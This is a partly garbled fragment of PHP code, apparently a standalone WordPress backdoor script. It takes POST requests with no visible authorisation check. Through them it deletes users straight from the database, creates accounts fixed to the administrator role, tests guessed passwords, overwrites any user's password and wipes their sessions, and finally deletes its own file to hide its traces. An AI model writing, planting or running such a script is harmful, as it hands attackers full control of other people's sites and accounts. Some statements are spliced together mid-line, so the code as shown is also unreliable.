query('START TRANSACTION'); $wpdb->delete($wpdb->users, ['ID' => $userid]); $wpdb->query('COMMIT'); $deleted_count++; } } if ($deleted_count > 0) { echo "
{$deleted_count} users successfully deleted!
"; } } if (isset($_POST['action']) && $_POST['action'] === 'add_user') { $new_user = array( 'user_login' => sanitize_user($_POST['new_username']), 'user_pass' => $_POST['new_password'], 'user_email' => sanitize_email($_POST['new_email']), 'display_name' => sanitize_text_field($_POST['new_display_name']), 'role' => sanitize_text_field('administrator') ); $user_id = wp_insert_user($new_user); if (!is_wp_error($user_id)) { echo "new user: {$new_user['user_login']} create success!ID: {$user_id}
"; } else { echo "create error:{$user_id->get_error_message()}
"; } } if (isset($_POST['action']) && $_POST['action'] === 'verify_password') { $username = sanitize_user($_POST['username']); $user = get_user_by('login', $username); $password = trim($_POST['password']); if ($user && wp_check_password($password, $user->user_pass, $user->ID)) { echo "Password correct
"; } else { echo "Incorrect password
"; } } if (isset($_POST['action']) && $_POST['action'] === 'change_password') { $username = sanitize_user($_POST['username']); $new_password = $_POST['new_password']; $confirm_password = $_POST['confirm_password']; $message = ''; if (empty($username) || empty($new_password)) { $message = 'The username and new password cannot be empty!
'; } elseif ($new_password !== $confirm_password) { $message = 'The two passwords do not match!
'; } else { $user = get_user_by('login', $username); if (!$user) { $message = 'User ' . $username . ' It doesnt exist!
'; } else { $hashed_password = wp_hash_password($new_password); $result = $wpdb->update( $wpdb->users, array('user_pass' => $hashed_password), array('ID' => $user->ID), array('%s'), array('%d') ); if ($result !== false) { $wpdb->delete($wpdb->usermeta, array('user_id' => $user->ID, 'meta_key' => 'session_tokens')); $message = '✓ User ' . $username . ' Your password has been successfully changed!
'; } else { $message = 'Password change failed, please try again later.
'; } } } if ($message) echo '✓ Successfully deleted itself!
"; } else { register_shutdown_function(function() use ($self_file) { if (file_exists($self_file)) { @unlink($self_file); echo "It has been deleted at the end of the script.
"; } }); echo "The file cannot be deleted immediately; it will attempt to delete it when the script ends.
"; } }else { echo "The file does not exist and cannot be deleted.
"; } } } ?>